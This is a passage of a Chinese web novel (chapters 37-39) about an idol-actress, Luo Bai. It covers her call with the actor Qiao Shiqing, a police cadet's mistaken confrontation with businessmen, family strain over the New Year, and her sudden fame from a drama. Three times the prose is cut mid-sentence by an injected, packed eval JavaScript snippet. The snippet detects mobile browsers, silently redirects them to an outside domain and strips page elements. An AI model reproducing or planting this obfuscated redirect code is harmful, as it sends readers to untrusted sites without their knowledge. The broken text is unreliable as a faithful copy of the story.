“怎么了吗?”乔时青问。 还是那个声音。 最早她听到他说话,总会心悸一下。 但现在洛白已经确认这是乔时青的声音。 听到清冽又沉静的话语,洛白被什么攥紧的心脏松弛了几分,她蜷起身体把右脸贴在膝盖上,望向窗外:“没怎么。” 她听到他轻笑了一声:“是吗?没什么事,就单纯想打个电话?” 洛白突然觉得这样不太好,带着点回避的心理说:“如果现在你有事的话,还是挂了吧。” “我现在没事啊。” “就算现在没事,一会儿也会有行程吧……” “我一会儿的行程就是去和我的朋友聚会。”乔时青补充说,“就是玩。就是有空。” 他的补充说明让洛白忍不住笑了:“你这么——这么有空?” “没错。不拍戏的时候我简直就是一个社会闲散人员。我闲透了。” 洛白哭笑不得:“哪里有人这么形容自己。” “我的意思是,”乔时青说,“我一直很有空。所以你任何时候要找我,都不用理由,我都很乐意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14314950|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 洛白的心脏像被人揉了一下。 很难说这是好的感受,还是差的感受。她不知道怎么回应他这句话,但毫无疑问,她因为他的话动容。 她向外看,只剩几片黄叶的树枝在随风抖动。 阳光微暖,天空湛蓝一片。 “今天天气挺好的。”洛白没头没脑地说。 “是啊,哪像之前你去音乐节演出那天,风又大、气温又低。”乔时青说,“不过这段时间温差很大,天气变来变去,你注意身体别生病了。” “嗯。”洛白在他看不到的地方点点头,“你也是。” - “姜誉飞、吴韬!” “到!” “到!” “今晚你们负责巡逻金港街道啊。” “是!” “是!” 等带班的民警老哥离开,姜誉飞和吴韬互瞪一眼,挤着肩踏出了派出所大门。 今天是定向实践的最后一天,明天上午回学校收拾完行李,寒假终于可以开始了。 由于实践以寝室为单位分配,姜誉飞和吴韬被分在了一组,在派出所大哥们的暴怒力量面前,二人已经偃旗息鼓十来天了。 “说不定今晚会撞见我爸。”吴韬边走边别警棍,“要是他看到我在干这个,肯定觉得丢脸。” 金港街道是新陵市最繁华的地段之一,各大酒店与会所鳞次栉比,即便在冬季,也有通宵达旦的纸醉金迷。 姜誉飞冷哼一声:“跟我走在一起,你爸得感激涕零。” “姜狗,你每天不找抽就皮痒是吗?” “有种你试试好了。” 姜誉飞这种不分场合不分时段的挑衅让含着金汤匙长大的吴韬在本次实践过程中锻炼出了难能可贵的理智,他选择了无视姜誉飞的明确做法。 两人就这么两点一线地在街道前后打着来回,转了一次又一次,开了几张罚单,等着掐点走人,直到吴韬低声惊呼:“我靠,你看那辆保时捷!” 姜誉飞:“靠,哪辆是保时捷。” “……就那个,飞过来那辆蓝色的。” 姜誉飞目光锁定那辆闪电般疾驰而来的蓝色跑车,很快地说:“什么状况?” “我只是觉得这种蓝色很帅,也太酷了,我愿意称之为靓女蓝。”吴韬啧啧摇头,“靠,他停车动作怎么这么流畅,罚不了了。” “……” “我靠,你快看那辆宾利!”吴韬又惊呼一声。 “看你妈。”姜誉飞懒得理他。 “这回有情况啊你快看,就是保时捷旁边那辆黑色的!” 姜誉飞目光直逼远处的黑色宾利,一个中年男子抱着个银色的箱子站在车前,面有惶恐。从宾利后座出来的男人不到三十,穿松散的休闲西装,指间夹着烟,嬉皮笑脸地揽住了那个中年人,带着他朝里走。 中年男人明显不情愿,他赔着笑脸站在原地,想把箱子递给那个西装男,后者举起双手漫不经心地笑着说了什么。 中年男人笑得很难看,脸上露出央求的神色又说了句什么,话到一半又猛地顿住了,两人一起扭头看向黑色宾利。 驾驶座上走下来的男人穿着米色外套,笑眯眯地说了什么,就经过两人径直走进坐落在他们身前的餐厅。 中年男人垂下了手,泄了气似的跟着西装男一齐走了进去。 “该不会是什么非法交易吧?”姜誉飞沉声说。 “估计是有情况。”吴韬忍不住问,“不过非法交易真的会选在这种地方吗?” “搞不好那个箱子里就是证物,那个男的被他们胁迫了。” “我们管不了这事,那个穿米色外套的男人我见过,是盛况集团老董的独生子,可惹不起。”吴韬凝神说。 “你怂你先走。”姜誉飞一个箭步轻巧地翻过栏杆奔了过去,冲着还没进屋那两人就正气凛然地喊,“站住!” 37. 是他 “这头铁的。”吴韬一巴掌拍自己额头上,只好速度跟了上去,对不明所以止住了脚步的三人解释道,“呃,我们是今晚夜巡的。” “巡警?”穿西装的男人哟了一声,有些好笑地把手搭在那中年男人的肩上,“怎么,我们看着不像好人?” 姜誉飞说:“箱子里是什么?我们要检查。” “嘿,真把我们当坏人啦?”西装男掸去烟灰,竟有几分兴致勃勃的神色,“哎,那你俩说说,我们这是在犯什么事呢?” “少废话,把箱子打开。” “小年轻的,怎么戾气这么重呢。”西装男拍了下那个中年人,“老徐,你解释一下呗。” 那个被称为老徐的人倒还算客气:“两位小同志,我想你们是误会了。我这箱子里,只是几份合同和信息罢了。” “那你还一副被胁迫的样子。”姜誉飞警心不死地继续说。 老徐一愣,和那个西装男人都笑了出来,他咧着嘴说:“因为这位周先生想从我这挖走一些……” 西装男的手机突然响了。他看了眼来电接起来:“喂——这有两个警察同志要翻老徐的包,我正跟他们解释呢。什么?啊我看看——一条,啊,没有——哦~” 说着话,这男人就上下打量了下姜誉飞和吴韬两人,一边眉毛挑起,探身问道:“你们俩,不是警察吧?” “我们——” 见姜誉飞快露出底气不足的样子,吴韬马上接嘴硬撑说:“谁说不是?没看见我们穿着制服吗?” 男人笑了声就按下免提,手机屏幕骤然大亮,备注为“乔时青”的界面上传出一道声音:“肩章就一拐,不过是两个异想天开把自己当正义卫兵的警校生。” “靠!” 姜誉飞愠色上脸,撩起袖子作势就要上前,男人眼疾手快地收回手机,里头欠揍的声音仍在持续输出:“就算真有案情,以这种鲁莽粗暴的态度来应对,除了打草惊蛇没有任何作用。” “咳咳咳。后面这话就不用听了。”男人把手机挂断了,安抚被吴韬努力牵制住的姜誉飞,“我这朋友口直心快了点,没恶意哈。两位小同志没什么事的话,我们就先走啦?” “走吧走吧,快走吧。”吴韬慌忙告别那两人才松开姜誉飞。 “电话里骂算什么,有种就当面跟我对峙!”姜誉飞张口就说。 吴韬没什么好气:“本来就跟你说了没事,我们也没资格查人家好吧!” - 新陵警察学院。男寝A505。 “欢迎大家来到本学期最后一次灌水大赛的现场,我们的三位选手都跃跃欲试了呢——靠别打我——既然大家都迫不及待了,那么我们各就各位——” “三、二、一,开始!” “战况非常激烈,好的我们已经看到有胜利者即将诞生——好!漂亮!吴韬选手和姜誉飞选手都完成了!吴韬以略微的优势先一步喝完,但很可惜,赢了就是赢了。” “让我们恭喜吴韬选手获得了来自姜誉飞选手的一瓶啤酒以及应景选手的一颗卤蛋。” 应景心有不甘地献出自己的祭品:“为什么我总是输。” 张合气丢开压在泡面桶上的书,耸了下肩:“菜呗,还能咋地——哎,你俩怎么还不整理行李啊,下午就清校了。” “他俩都新陵地头蛇,有什么好着急的。又不赶车。”应景说道。 吴韬拽开易拉环,喝了一口才说:“我爸妈晚点会差人来帮我提行李。” “哇嚯嚯,校草就是校草,有牌面。”张合气拱手表示佩服,余光却见姜誉飞的塑料叉子搅和着面条,拧着眉头若有所思。 “想什么呢你?”张合气拍了一下他的后脑勺,“想蒋语呢?” “蒋你妈,”姜誉飞瞪了他一眼,“我是在想,哎,不知道你们有没有听过,‘乔时青’这个名字,我怎么觉得这么耳熟。” “哦?你不知道?你不知道?”张合气嚯了一声,吞下泡面,“他可是电影明星啊,现在多少红。” 应景叉起自己碗里的卤蛋咬了一口:“对啊,他的电影你不都看过的吗?玫瑰乱啊——” 姜誉飞倒吸一口冷气:“他!?” 难怪这名字这么眼熟,总觉得在哪里看到过——原来是在电影演职员表上看到过。 “是啊,之前他那个翻手铐的动作你学了好几遍呢,你还说他是最近几年打戏最有看头的演员。” 张合气从姜誉飞的碗里搜刮走一根香肠,不过还没到嘴边就被姜誉飞眼疾手快地叉了回去,他恶狠狠地咀嚼:“放屁!烂透了。” “又抽什么风了啊。”应景说。 目睹并全程参与金港乌龙事件的吴韬一看姜誉飞,眼皮就忍不住直跳:“姜狗他狂犬病又犯了呗。” 一听这话,张合气和应景便笑得上气不接下气,直呼吴韬诊断精确。 姜誉飞又要发作,但被一通电话阻断了。 他瞥见来电页面,神色立刻变了。 “而且这个乔时青,可不就是当时……” 姜誉飞再没心思管吴韬说什么,他按下接听键朝阳台走,语气出奇地沉静:“妈。” 姜母那边不太安静,有小孩子玩闹的吵杂声:“誉飞啊,今年你不要出来了,我们过几天就回国了。今年我们一家就在新陵过年。” 姜誉飞沉默片刻,又问:“那你们什么时候走?” “你这孩子,哪有盼着我们走的啊!我们都好几年没在国内过年了,你爸说这次正好带你和雪儿去拜访些亲朋好友。来,雪儿,快和哥哥问好。” “哥哥!新年快乐哦——” 小女孩奶气乖巧的声音满是天真单纯的意味,姜誉飞的眉宇却下意识地拧了起来,眸中凉了几分,他抬手搭在栏杆上,没有回话。 “咦?哥哥听得到吗?” “信号不好吗?”姜母奇怪地嘟囔了两句,又说,“誉飞,还听得见吗?” “听得到。”姜誉飞淡淡地说,“先挂了吧。我还有事。” - 次日。 洛白出院时新陵已经下起了雪。 她还有一天半的休息时间,回到玉湖的住处时,姜誉飞已经放假到家了。 “今天下雪了。”洛白进屋把外套脱下来挂在一边的衣架上,从包里拿出发绳随手把头发扎起来。 “啊?天气预报还说过阵子会有大范围暴雪。”姜誉飞端了一碗鱼汤出来,刚放下又奔进厨房。 洛白看他一来二去把餐桌摆得满满当当。鱼头豆腐汤、小炒牛肉、奶油南瓜羹、豆豉排骨、白灼虾、西芹鱿鱼。 她失笑道:“我们就两个人,你烧这么多菜干嘛呀?” 姜誉飞不应她,速度地盛饭。在洛白拉开椅子坐下来的间隙,他已经顺利地摆好了碗筷。 洛白拿过筷子,作势要把碗里的米饭分到姜誉飞的碗里,他一把挡住:“你想干嘛?” “我吃不完呀。”洛白无辜地看他。 “我就吃得完啊?你当我猪呢?” “你在学校训练量那么大,要多吃点。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369652|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道理是在,姜誉飞的饭量确实不小,但是他生生看着洛白饭碗里那点他几乎一口就能解决的米饭,难以置信地说:“你不会饿死吧?” “怎么会。”顶不住姜誉飞的眼刀,洛白从善如流地说,“我多吃点菜。” 次次吃饭,只要他盛饭,洛白最后肯定是要把饭分给他三分之二的。 “你自己说多吃点菜的。”姜誉飞筷子一指她,眯起眼道,“你要是白让我做了那么多菜,你就死定了。” 洛白压力骤增,说:“我……知道了。” 她勺了一口鱼汤,在姜誉飞的注目下喝下去,展颜一笑:“好喝。” 两人这才开始吃饭。 “你尝尝这个。”姜誉飞说。 “恩……有点咸了。” “放屁,根本没味道。” “真的有一点点咸。” “不可能,炒牛肉就是这个味道。” “好吧。那看来是我口淡了。” 姜誉飞满意地低下头去扒饭,坐在对面的洛白则细嚼慢咽。 半晌,洛白放下筷子轻声说:“阿姨给你打过电话了吧。” 姜誉飞动作一滞,含糊地应了句。 “我过几天就搬出去。” “你住哪?”姜誉飞啪得摔下筷子,彻底没了胃口。 大约五年前,姜氏夫妇决定带着两个孩子移居欧洲,但姜誉飞决意留在国内,没有和他们走。后来他考上警校,也就顺理成章留在新陵。此后每逢寒暑假,姜誉飞几乎都会飞去欧洲待一阵子。 “住酒店或者宿舍吧。” “那我和你一起。”他说。 洛白柳眉一弯,泛起浅笑:“我是要去工作的,你和我一起做什么?年底我会很忙的。” 姜誉飞最讨厌的就是过年。 洛白和姜爸关系不好,没法和爸妈共处一室,更别提一起过年了。 他不会宽慰人,只是想到洛白每年过年都只能一个人待着,他就觉得自己很不是人。所幸自从洛白出道以后,就变得很忙碌,即便新年时也会有连日的通告。 他平时很烦她总是要飞这飞那的,但这种时候他恨不得她的通告单被填满,没有空多想。 “好了。阿姨他们一年也见不了你几次,我和你不是一直都待在一块儿的吗。”洛白理解他的为难,也有自己的坚持,把手放在他的肩上,“没关系的。” 没关系的。 这句话,姜誉飞都从洛白那听了不知道多少次。 闻言他是生气又难过,却也不知道能说什么。 “吃饭吧,不然白辛苦你做这么多菜了。” “冷都冷了。”他别过脸,眸光黯然。 洛白勺了一口南瓜羹尝了尝,确实是冷了:“但味道还是很好。” “行了你别吃了,不然一会儿胃病犯了。”姜誉飞抢过她手里的汤匙,又有点气不过,看她一眼,正要说话就瞥见她忽亮的手机。 有人给她发微信。 瞥到名字的瞬间,姜誉飞警铃大作,一下就跳了起来。 洛白被他的动静吓了一跳:“怎么了?” “是他!原来是他!”姜誉飞一把抓起她的手机,清清楚楚地看到—— [乔时青:我两三年没上过了] ——原来他眼熟这个名字,并不是因为他在什么演职员表上见过,而是之前在洛白的手机里看到过,还有上次跟吴韬爸妈吃饭时也有提到过这个人。 “这人到底是谁?”姜誉飞指着“乔时青”三个字问洛白。 38. 封玄境 洛白莫名其妙地说:“他是……我的朋友。拍戏认识的。” “朋友?”姜誉飞说,“那他说这话什么意思啊?‘两三年没上过了’?没上过什么?” 洛白看他一惊一乍的,有些哭笑不得地解释说:“他是说他两三年没上过跨年晚会了。我们在聊跨年晚会的事。怎么了呀?你认识他吗?” “我可不认识。”姜誉飞说,“你以后不要给他发消息了。” “嗯,为什么?” “为什么?这家伙不是什么好人!” “你又不认识他,你怎么知道?” “我不认识我也知道啊——我可是未来的新陵市警队,我火眼金睛一眼辨忠奸,当然知道了。” 洛白笑着说:“等你当上再说吧。手机给我。” “要手机干嘛?给这男的回消息?” “人家都发消息给我了,我总不能不回吧。” “发消息给你怎么啦?没把他删了都算不错了——你现在就把他删了吧。” “越说越离谱了……” 两人还要再说,一个电话就打进了洛白的手机。 姜誉飞看到备注“阿姨”二字一下就愣住了。两人都一时沉默下来。 过了一会儿,姜誉飞接起了电话:“妈。” 那头语带惊喜:“誉飞?怎么是你接的电话?洛洛呢?” 洛白向他伸手,轻声说:“我来吧。” 姜誉飞没有给她,而是按了免提,把手机放在桌上。 洛白说:“阿姨,我在。有什么事吗?” 姜母说:“没什么事儿呢,过阵子我跟你爸就回国了,跟你说一声。” “嗯,我知道。”洛白一顿,“我过几天就搬出去。” 姜母的声音带着些不尴不尬的笑:“哎呀,我说这话也不是为了让你搬出去,你要是乐意待在我们家里,到时候可以一块儿吃个年夜饭什么的,也挺好的呀。” 她这话不要说是洛白,哪怕是姜誉飞这个愣头青听来都有些不是滋味,别扭得很。说的洛白像是外人一样。 他还没来得及插嘴,洛白就说:“我知道。只是年底我工作多,没什么空。住在外头也方便点啊。” “是这样,那阿姨就明白了。” “妈妈,你在跟谁打电话?” 那边传来一个稚嫩的声音,姜母的声音软下来:“妈妈在跟你的哥哥姐姐说话呢。” “姐姐,我还有个姐姐吗?你怎么没跟我说过呀?” “行了行了。就这样吧。”姜誉飞不等那边再回应,啪得就挂断了电话。 洛白看他表情想他因为自己的原因不太好受,笑一笑说:“怎么不跟你妹妹说说话就挂了?” 姜誉飞没好气:“你少来。我可懒得理。” “毕竟你也是她哥哥,见了面可不要对人家这么没耐心。”洛白起身收拾碗筷。 姜誉飞抽过她手里的筷子:“得了吧。我才不要当什么哥哥。” 简单陪姜誉飞收拾一下,洛白就回卧室打算整理行李。 其实她要带走的东西不多,又或者说她在这个家本身就没有什么东西。 自打确认出道以后,她就一直住在公司安排的宿舍里。姜爸姜妈移居国外后,她才应姜誉飞的要求偶尔回来住。直到一年多以前,她搬出宿舍后才重新住进了这里。也是为了陪姜誉飞,否则她本来会再找一个住处的。或许现在也是时候该找个新住处了吧。 对洛白来说,这里从来不是她的家。 洛知雅去世以后,她在这个世上也没有家了。她在这里的日子更像是寄人篱下。 “你真的要搬出去吗?” 姜誉飞本来想这么问。但他靠在她房门口好一会儿,还是决定闭嘴。 这几年下来,他已经知道不强求洛白留在家里,才是对她的尊重。 晚上。 洛白关了灯准备睡觉。 死一样的静寂里,她的脑海里又响起了齐彷的话。 “我不信你不在意我了。” 他这一句话像鬼魅一样,在洛白任何疏忽的时刻就侵入她的思想。 他说“我不相信你不在意我了”,于是洛白就再睡不着了。 她睁开双眼,逐渐适应黑暗。天花板映入她眼帘。她的脑子里还是那一句,“我不相信你不在意我了”。她似乎还能闻到洋桔梗的味道。 她几乎一整晚在想这个问题——她到底还在意他吗? 现在看来答案是显而易见。她在意他。 如果不在意他的话,他的出现就不会如此折磨她、困扰她。 她讨厌他说这句话时的笃定。 她花了很长一段时间才从被抛弃的阴影里走出来,她花了很长一段时间才接受他谈了恋爱有了未婚妻的事实。她从来没有打扰过他,哪怕多年以后在《封玄境》的片场,她遇到他几乎也是绕着走。可为什么他就可以这样我行我素地来打扰她?为什么他就可以对他说出“我不相信你不在意我了”这样子的话,搅得她夜不能寐? 这就让她很气愤。她有一股无边的怨气。可她不知道自己在怨什么,也不知道自己在委屈什么,她只知道自己愤怒、委屈还压抑。她为什么还在意他呢?她想不通。 难道她对他还有感情吗?难道她还喜欢他吗? 想到这个问题,洛白几乎是心惊肉跳。 可这么多年了,她和他没有过交集。她也没理由再喜欢他了。 洛白就这么胡思乱想、模模糊糊地躺到了凌晨,仍然睡不着,只好又吃药。 第二天她出发去谈迪尤的合作事项,也是从这天COSINE开始准备跨年晚会的排练事项。刚好她住进宿舍,方便常回公司排练。 - 又过几天。 年末仙侠古装巨制新剧《封玄境》如期开播,这部上嘉的野心之作在开播伊始就凭借着豪华的阵容、出色的服化道、强大的后期以及宣发收获了高热度,在各大视频网站占据了第一。 《封玄境》在播出前的关注度就居高不下,然而谁也没有预料到的是这部戏成了洛白的爆红之作。从第三集玄昭出场开始,洛白的话题度开始疯涨,各项数据与流量都一骑绝尘,涨粉量碾压式排在第一位。 她饰演的女三玄昭,是沉睡千年的上古精灵,被男二南江无意唤醒后出场。 绝对高强的法力、傲娇刁蛮的人设、明艳动人的容貌、极具灵气的演技都使其成为了全剧最受瞩目的角色。同时,玄昭与南江的感情戏也助推了其火爆的人气。对主角团爱答不理却对男二死缠烂打的精灵对上亦正亦邪高冷沉默的江湖人,本就看点十足,更别说这条线甜虐半掺,吊足了观众的胃口。 #南昭CP花絮大放送# “还在看剧本,真认真。”安灿宗站在洛白身后啧啧啧地摇摇头。 洛白转身看了他一眼就又低下头去看剧本。 “你是不是嫌弃我?”安灿宗转向镜头说,“她嫌弃我呢,都看到了吧。” [哈哈哈哈哈哈哈哈安灿宗剧里A的一匹剧外跟个二傻子似的] [woc你们看到安灿宗的眼神没有,超绝暧昧感] [小洛白怎么连花絮都这么美啊啊啊] 安灿宗躺在地上状似痛苦地捂伤口:“好痛。” 洛白站在一旁看了他一会儿问导演说:“等下我要把他衣服脱下来吗?” 导演说:“露出伤口吧。” 安灿宗撇嘴就说:“我都受重伤了你还满脑子脱衣服的事。” 洛白失笑道:“剧本上说的。” “那剧本上还说你对我满怀心疼呢。你现在明明一点儿不关心我。” [安灿宗好喜欢撒娇哈哈哈哈哈] [明明比妹妹大五六岁,反而好像个姐弟组哦哈哈哈哈] [好甜但感觉更像兄妹哈哈哈蛤] #安灿宗:小洛白像白雪公主# “你们不觉得吗她很像哈哈哈,皮肤像雪一样白,头发像乌木一样黑。”安灿宗把话筒往洛白那递了递,“对吧?” 洛白面露难色,犹豫了一下说:“不对。” [哈哈哈哈什么玩意儿啊还一脸求表扬] [洛白:好烦哦] [虽然觉得在一起没可能,但还是莫名觉得好甜啊啊啊] [今天也有被甜到] 《封玄境》在播期间,洛白每天挂在热搜上。她去参加活动的各种路透图也被挂在网上,网友们翻出了她以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14390167|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的直拍、节目,她唱歌的视频和综艺的剪辑都被发到网上。前不久火遍全网的《沦陷》直拍又被翻出来,去年为电视剧演唱插曲《远距离》的视频也再度翻红。 人们开始大肆夸赞她的美貌、她的唱功以及可圈可点的演技。就此,“精灵本灵”“反转魅力”“大陆白玫瑰”等等赞誉都潮水般涌上来,在媒体口中,洛白无疑成为了近期最炙手可热的新星。 #洛白一夜升咖# #洛白安灿宗扫楼# #玄昭帮南江出头# #玄昭南江全境第一CP# #洛白精灵本灵# #洛白新一代神颜# #洛白窃窃私语直拍# #洛白美貌# #洛白keepgoing镜头# #洛白假如暧昧# #林天宇曝理想型是洛白# [在我心中,现在整个亚洲最美的就是她和上野那奈] [工作原因和很多爱豆都接触过,洛白出道时还是有点稚气清纯的感觉,但这两年长开了,再看到她真的有种瞬间被击中的感觉,特别美,气质真的绝了] [线下见过一次,洛白身上独有的气质和她的体态以及那张精修般的脸真的让人移不开眼] [洛白的唱功真的是现役爱豆甚至新生代歌手里数一数二的] [ID家的宝藏终于被看到了!无论是唱功、美貌还是演技,洛白都拿得出手,想不通为什么ID一直不主捧] [现在最忙的应该是keepgoing剪辑了吧哈哈哈哈哈紧急增加洛白镜头中] [我是洛白的高中同学……悄悄说一句,当时班里一半多的男生都和她表白过,真的非常直男斩了] 与此同时,向洛白投来的剧本竟然翻了十倍。 光是筛剧本,秦湘就忙得晕头转向不亦乐乎。还有一些代言广告之类的商务洽谈也都找上门来,许多剧宣活动的赞助商也都点名要洛白出场。之前《封玄境》有一些直播活动以及宣传行程,她作为女三是没有必要或者说没有资格出场的。上《KeepGoing》那种大热综艺,也就只是露脸似的,有个几分钟的镜头。但角色一红,她的待遇就明显不同以往。 “洛洛是第一次来看我们节目,之前有看过sketch吗?” “欢迎洛洛做客我们的直播间~!弹幕刷起来!” “非常高兴今天可以与洛洛合作!” “洛洛,我现在和立新哥哥在一起呢,你今天有空嘛?” “谢谢洛洛和我们一起做dancechallenge~” “今天邀请到的呢,就是最近凭借大热的上古精灵玄昭的扮演者——洛白!” 尽管她不是很会做综艺,也并没有多少巧舌如簧,但她在镜头面前始终大方得体的姿态为她赢得了更多的粉丝赞誉。她的不善言辞都被包装成了温柔、内敛、害羞。她的一些小疏忽都被剪辑成了可爱少女感。 这就完全抢走了女主范沁的风头。她的一些恶评也在一条“洛白红毯碾压范沁,新生代顶流预备役”的通稿之后,如雨后春笋般冒了出来。 [笑死这年头女三都能掀桌?男女主都没怎么呢,一个女三站出来铺天盖地营销] [只有我不喜欢她吗?任何时候都淡淡的,感觉好空洞好没内涵一人] [到底是谁在说她是COSINE门面啊?当金灵退团了吗] [不是吧不是吧真有人不知道她是ID皇族吗?出道空降挤走安妮的瓜不是人尽皆知吗] [一天到晚冷着一张脸,明明超级冷漠高傲,公主病被包装成公主了无语] [ID皇族] [艳压范沁??买通稿前不先看看自己长什么样?] [范沁到底走了什么霉运和她拍了一部戏] [天啊有完没完前阵子刚营销过现在又开始吹] [服了她说话就说她抢风头她不说话就说她冷漠,某些人不要黑得太过了] [笑死了要不是被硬塞进COSINE,自己solo出道的话洛白早火了OK?这几年在团里的镶边待遇有目共睹吧?皇族难道就这待遇?] [全内娱哪个皇族在出道第六年才第一次站C?] 39. 跨年晚会 转发#洛白民推门面 [说实话我一直觉得洛白才是COSINE门面] [一直没get到过金灵] [金灵浓艳太过了,洛白浓淡适宜,更踩大众审美点] [听说洛白原定是门面,但这样金灵就没定位了,所以才把门面让给金灵] [金灵的美貌太有攻击性了] “你看看,你看看现在网上都怎么说?人家演了个女三就这么火了,你再不抓紧,马上就要被她压着打了。”经纪人说。 金灵握着手机懒洋洋地靠着墙,敷衍道:“看到了。” 经纪人苦口婆心地说:“下次让你参加什么活动,可别再任性地想翘就翘了啊。” “嗯。行了。我挂了啊,一会儿演出呢。” 金灵挂断电话,打开经纪人转发给自己的话题,随手刷了刷评论区。 最近这段时间洛白人气飞升,评论区吵得却还是那些老话题。 她收起手机回到COSINE的休息室,队友正在直播。 程佳念举着手机转了一圈,靠近了一点以便于看屏幕上划过的弹幕:“我们正在准备晚上的跨年晚会呢。是呢,你们也要注意保暖。” 林晓和她挨在一起,撑着下巴看着屏幕:“我们还没吃饭呢。我和若敏一起过来,但她今天可忙了。嘻嘻嘻,没错,就是在录那个恋综,今天姐夫也会来。” “噢,金灵来了,”程佳念冲刚踏进休息室的金灵招手,“我们在直播呢。” 金灵闻言绕到沙发后头弯身在镜头面前展示了一会儿,便说自己要去上妆先走一步。当然她并没有到化妆时间,只不过她现在没有直播的心情。 出了休息室,去咖啡机那打了一杯咖啡,冰冷苦涩的液体滑入喉咙,金灵才清醒了一些。 她懒洋洋地倚在墙上,抿了一口咖啡在嘴里,随意地看着四周。 这会儿还没那么吵,陆续抵达的艺人们大多都半梦不醒的,工作人员则忙于架设设备,一言不发。 金灵就这么看着粉黛未施的洛白抱着一个平板在空无一人的圆桌上坐下来,专心致志地盯着屏幕。 “你都用什么护肤品呢?”金灵扬声道,“怎么皮肤和发质这么好?” “金姐?”洛白扭头,目光绕了半圈看到她,“如果你需要的话,我晚点发一份清单给你。” “当然需要。你在做什么呢?” “看一下剧本还有一些拍摄的提纲。” 金灵点头:“你最近挺红啊,戏约不少吧。” 洛白说:“可能因为最近《封玄境》在播吧。” 这时一个两人都极为熟悉的调笑声从走廊另一头传过来。 “哎,这不是小洛白吗?” 许诺拨开人群,插着口袋走到洛白面前,笑嘻嘻地说:“好久不见,越来越漂亮了啊?看来我们ID的当家门面马上就要换人咯。” 金灵忍不住跨出一步,冷声道:“你要不要脸?上来就撩人?” 许诺这才看见金灵,心里大喊不妙。要是他早一步看见,哪里会过来。 “咳咳,回见哈。”他干笑一声,脚底抹油似的就走了。 金灵走到洛白对面坐下,还有些不忿:“哧。什么垃圾。” “他就那么油嘴滑舌,你别太往心里去了。”洛白说。 “我才懒得理他呢。”金灵说着把视线放到洛白身上,特意打量起她。 洛白扎着低马尾,看似随意却能增添温柔感,素颜的皮肤光洁白皙没有瑕疵,细细的黑框眼镜在显白的基础上显出知性美,针织高领和羊羔毛外套的搭配则能够融合清冷与奶甜的气质。恩,看来她还是很会穿搭。 “怎么了?”洛白问。 金灵撑着自己的下巴盯着洛白的脸蛋,忽地翘起一边的嘴角:“我有点想狠狠地亲你一口。” “……” “太漂亮了。如果我是个男人,盯着你久了,很难没有感觉。” 洛白想了想,居然认真地对她说:“金姐,你才是漂亮。” “但我的漂亮太有攻击性了。很多人不喜欢呢。” “审美是多元的。有人不喜欢就一定有人很喜欢。” “嗯……”金灵说着有些出了神似的,“那你说许诺的审美是怎样的?他是不是就喜欢你这种我见犹怜的?难怪他总是夸你。” 洛白知道金灵还是对许诺耿耿于怀,只能垂下眼睫:“金姐,我不知道他的审美,但我想他可能不值得你这些在意。” 她的声音这么说,脑子里有一个模糊的身影,心里则有一股钝痛。 她的声音又说:“毕竟已经结束了。或许早点释怀比较好。” “我知道。但是我就是……你现在应该不会懂吧,我这种莫名其妙的执念。”金灵幽幽地说。 “执念。”洛白复述了这个词,又问,“姚启对你不好吗。” “他对我很好。所以我要和他分手了。”金灵闭了闭眼睛,撑着桌子站起身来,“我再去买杯咖啡。你继续看吧。” 仅过一个小时,跨年晚会后台就人满为患。 挂着牌的工作人员们前前后后地奔忙着,有调整场地的,有代艺人定点定位的,有运送道具的。而分布各地光鲜亮丽、格外亮眼的自然就是各家的艺人们了。 洛白收起平板,回到COSINE的休息室,准备等待录制。 一推门,就看见好几台摄像机。桌子上摆着几张披萨和一些饮料。 “洛洛!”顾若敏的声音率先响起,她笑盈盈地向她招手,“快过来。” 洛白这才看到,她的综艺男友陈立新也在。看来是在录制当中。 “姐夫给我们带了好多吃的。”林晓抓起一块披萨往嘴里放。 “谢谢。”洛白小步走过去,在空位上坐下。 “你们准备晚会舞台应该很辛苦了吧。”陈立新说。 “若敏不辛苦。”程佳念说,“她有情饮水饱。” 大家都笑起来,顾若敏羞赧地直往陈立新怀里钻。 “喏。”金灵端起一杯咖啡塞进洛白手里。 洛白接过来喝了一口,便静静坐在那。程佳念和林晓都很会做综艺,有她们在气氛不会太差。这种假象恋爱综艺,作为成员只要能适时调侃一下恋爱的两个人就可以了。 “立新。”金灵半倚在洛白身上,看向陈立新有意无意地笑,“如果你能选的话,你会想和我们当中的谁一起上这个节目?” 陈立新愣了下。 这问题的答案显而易见,他还是说:“若敏。” 金灵还没放过他,笑意不变:“那除了若敏呢?” “嗯?”陈立新看了眼保持微笑的顾若敏,一时不知道怎么回答,“呃……除了若敏的话——” “你该不会想让他说是你吧!”程佳念打断他,调笑似的对金灵说,语气里带着一点只有她们听得出的警告,“少在这臭美了。” 